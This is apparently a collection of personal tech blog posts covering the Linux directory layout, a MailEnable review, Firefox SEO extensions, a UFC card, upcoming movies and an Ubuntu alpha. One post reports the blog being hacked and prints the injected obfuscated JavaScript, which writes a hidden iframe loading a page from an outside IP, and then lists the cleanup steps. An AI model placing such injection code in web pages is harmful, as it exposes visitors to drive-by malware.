Peter Vatistas

/ - Root directory that forms the base of the file system. All files and directories are logically contained inside the root directory regardless of their physical locations.

/bin - Contains the executable programs that are part of the Linux operating system. Many Linux commands, such as cat, cp, ls, more, and tar, are locate in /bin

/boot - Contains the Linux kernel and other files needed by LILO and GRUB boot managers.

/dev - Contains all device files. Linux treats each device as a special file. All such files are located in /dev.

/etc - Contains most system configuration files and the initialisation scripts in /etc/rc.d subdirectory.

/home - Home directory is the parent to the home directories of users.

/lib - Contains library files, including loadable driver modules needed to boot the system.

/lost+found - Directory for lost files. Every disk partition has a lost+found directory.

/media - Directory for mounting files systems on removable media like CD-ROM drives, floppy disks, and Zip drives.

/mnt - A directory for temporarily mounted filesystems.

/opt - Optional software packages copy/install files here.

/proc - A special directory in a virtual filesystem. It contains the information about various aspects of a Linux system.

/root - Home directory of the root user.

/sbin - Contains administrative binary files. Commands such as mount, shutdown, umount, reside here.

/srv - Contains data for services (HTTP, FTP, etc.) offered by the system.

/sys - A special directory that contains information about the devices, as seen by the Linux kernel.

/tmp - Temporary directory which can be used as a scratch directory (storage for temporary files). The contents of this directory are cleared each time the system boots.

/usr - Contains subdirectories for many programs such as the X Window System.

/usr/bin - Contains executable files for many Linux commands. It is not part of the core Linux operating system.

/usr/include - Contains header files for C and C++ programming languages

/usr/lib - Contains libraries for C and C++ programming languages.

/usr/local - Contains local files. It has a similar directories as /usr contains.

/usr/sbin - Contains administrative commands.

/usr/share - Contains files that are shared, like, default configuration files, images, documentation, etc.

/usr/src - Contains the source code for the Linux kernel.

/var - Contains various system files such as log, mail directories, print spool, etc. which tend to change in numbers and size over time.

/var/cache - Storage area for cached data for applications.

/var/lib - Contains information relating to the current state of applications. Programs modify this when they run.

/var/lock - Contains lock files which are checked by applications so that a resource can be used by one application only.

/var/log - Contains log files for differenct applications.

/var/mail - Contains users’ emails.

/var/opt - Contains variable data for packages stored in /opt directory.

/var/run - Contains data describing the system since it was booted.

/var/spool - Contains data that is waiting for some kind of processing.

/var/tmp - Contains temporary files preserved between system reboots.

This is a great post and very helpful for anyone diving into Linux, see the original post here: Linux Directory Structure

MailEnable provides robust IMAP, SMTP and POP3 services for Windows NT/2000/XP/2003 systems. Simple to install, with powerful administration software that means your mail server will be up and running quickly. The standard edition is FREE, contains no spyware or adware, for both personal and commercial usage, with no time or user restrictions (TONS OF FEATURES). I use MailEnable for the majority of my email servers and I am 100% satisfied with ease of use, performance, stability, security, and the list goes on.

To give you an idea of my experience with email servers (so you can better understand how good MailEnable) I have 3 email servers for either specific business requirements or unique technology needs. The first server I have is a Microsoft Windows 2008 Server running MS Exchange 2007, another one is a FreeBSD server running QMail, and the third one is MailEnable on a Microsoft Windows 2003 box. All three of these email servers are great but one is very expensive and at times very difficult and temperamental (Exchange). Qmail on FreeBSD runs like there is no tomorrow, never any issues and reliable as all hell but also can be a pain if you are someone who doesn’t know Unix very well.

MailEnable seriously meets every need and expectation I have for an email server. It is highly configurable, much like Exchange, but it doesn’t cost a dime. There are 2 paid versions of MailEnable in addition to the killer free one, both strapped with many more options and unique features but as advanced as my needs are with all aspects of my computer life, MailEnable does just fine.

Here are just a few things the FREE version of MailEnable has to offer (god I sound like a salesman - I assure you I won’t make a single penny off this post, I seriously like MailEnable a lot!!)

Mail Protocols - MailEnable Standard Edition provides robust, stable and fully functional POP and SMTP mail services supporting unlimited users and domains.

Administration - The Administration application allows configuration of mail services via an easy-to-use and familiar Microsoft Management Console application. Administrative features include mailbox quotas, redirections, auto-responders, import/export users, create groups and much more…

List server - Includes a fully functional list server allowing you to subscribe or unsubscribe members and provide information mail outs or discussion groups.

Security - Extensive security measures and authentication methods protect your mail server from unauthorized access. Features include SMTP Authentication, Integrated Windows Authentication, Relay control.

Control panel integration - MailEnable integrates with several different third party control panel software products.

Diagnostic Reporting - Standard Edition includes advanced diagnostics via a comprehensive Diagnostic Reporting Utility which assists in quick diagnosis of issues and speedy resolution. Features extensive logging in W3C file format to easily determine faults.

Anti-Spam - MailEnable Standard has several inbuilt features to help eliminate spam. anti-spam features include PTR record checking, DNS blacklisting, auto-banning of IP addresses and much more. MailEnable is a standards-compatible mail server it can be used with a large variety of third party anti-spam software.

Here’s some screenshots:

Click here to learn more about MailEnable and download. 

I really hate when this happens but it does and it is somewhat a regular thing when you manage as many websites as I do. Today I found someone hacked into my blog (this one) and added a bullshit script to my header template.

I am not sure exactly what this script does since I use Linux and Firefox 2 but when I checked out my site on my wife’s computer (Microsoft Windows Vista & IE7) a ton of crap started happening. My web browser froze, my anti-virus was alerting me of potential viruses, and a bunch of Windows errors popped up including the BSOD (isn’t blue screens a thing of the past? LOL).

Anyways I took several steps to ensure whatever or whoever got in was blocked; I notified my host to block the IP receiving whatever information from that bullshit script. Here is what I found:

<script> var s=’3C696672616D65207372633D22687474703A2F2F31
39352E352E3131362E3235302F65782F7374617469632E706870222077
696474683D32206865696768743D32207374796C653D22646973706C61
793A6E6F6E65223E3C2F696672616D653E’; var o=”; for(i=0;i<s
.length;i=i+2) { var c=String.fromCharCode(37); o=o+c+s.
substr(i,2);} document.write(unescape(o)); </script>

The IP address is: 195.5.116.250

After catching this I quickly changed my server passwords, verified that ftp was disabled and the ports were closed (along with all other unused ports), and chmod 755 (instead of 777) the world-writable and uploads directories. After I removed the script from the header I also did a full blown search on every template file. Problem solved.

These kind of things always happen and my advice is to always check html for any changes. It is also very important to change your passwords regularly and keep your ftp ports CLOSED, only use SSH or SFTP if you can. I also have added checking file permissions to my security checklist, every week or so I plan to run through my web files and verify no changes have been made.

Want to know what movies are coming out for the next 4 years? Ever wonder if there will be a Pirates of the Caribbean 4, Shrek 4, Austin Powers 4, and so on? Check this awesome list below to find out now!

The following list has been provided by the Hollywood Stock Exchange, sign up - its free!!

Being that I am an SEO I need to see live stats and information all the time; fortunately for me Firefox has a lot of great tools for free and extremely easy to use.

SEO tools for Firefox:

1. Search Status: This toolbar provides extensive search-related information about a site, all conveniently displayed in one discreet and compact toolbar. I use everything this tool has to offer but my favorite feature is the display of site’s Google PR, Alexa, and Compete at the base of my browser.

2. SEO for Firefox: Aaron Wall from SEOBook had this neat little tool developed and I love it. Tons of stats show for every listing in Google’s SERP whenever you search anything. This tool has to be one of the best SEO tools out there and without it a lot of my time would be wasted.

3. Social Media for Firefox: I already posted about this but this tool is worth the time to write about again. You can see my original post here but for those of you SEO/SEM Social Network guys like myself this tool just rocks and is definitely a major time saver.

Here is a list of other extensions I use including a few other SEO/SEM plug ins:

- SEOpen: This tool packs a ton of SEO tools, most I use daily.

- SEOLinks: Neat little tool that shows link stats with mouse over.

- Link Checker: Don’t get caught with broken links again.

- ShowIP: Love this tool for when I swing DNS records.

- ServerSpy: Great extension to show what type of server & version the site is hosted on (i.e. Apache 2, IIS 7.0, etc).

I can’t wait for tonights fight to see who wins, Mac Danzig (Team Hughes) or Tommy Speer (Team Hughes). I am also excited to see the Lightweight bout between Roger Huerta or Clay Guida.

Main Card*

• Lightweight bout:  Clay Guida vs.  Roger Huerta
• Welterweight finals bout:  Mac Danzig vs.  Tommy Speer
• Welterweight Bout:  Jon Koppenhaver vs.  Jared Rollins
• Welterweight Bout:  Billy Miles vs.  George Sotiropoulos
• Welterweight Bout:  Dan Barrera vs.  Ben Saunders

Preliminary Card*

• Welterweight Bout:  Matt Arroyo vs.  John Kolosci
• Welterweight Bout:  Paul Georgieff vs.  Jonathan Goulet
• Welterweight Bout:  Dorian Price vs.  Roman Mitichyan
• Welterweight Bout:  Troy Mandaloniz vs.  Richie Hightower

*References: Wikipedia - The Ultimate Fighter: Team Hughes vs. Team Serra

Today I downloaded and installed Ubuntu 8.04 Hardy Heron Alpha 1 on my development server and I am very excited!

I do not recommend installing Ubuntu 8.04 on a production machine due to the amount of bugs and expected breakage as with any Alpha stage application or operating system. If you are interested in testing or even fixing bugs then get your download on!!

Ubuntu 8.04 LTS (Hardy Heron) Download

Good Luck!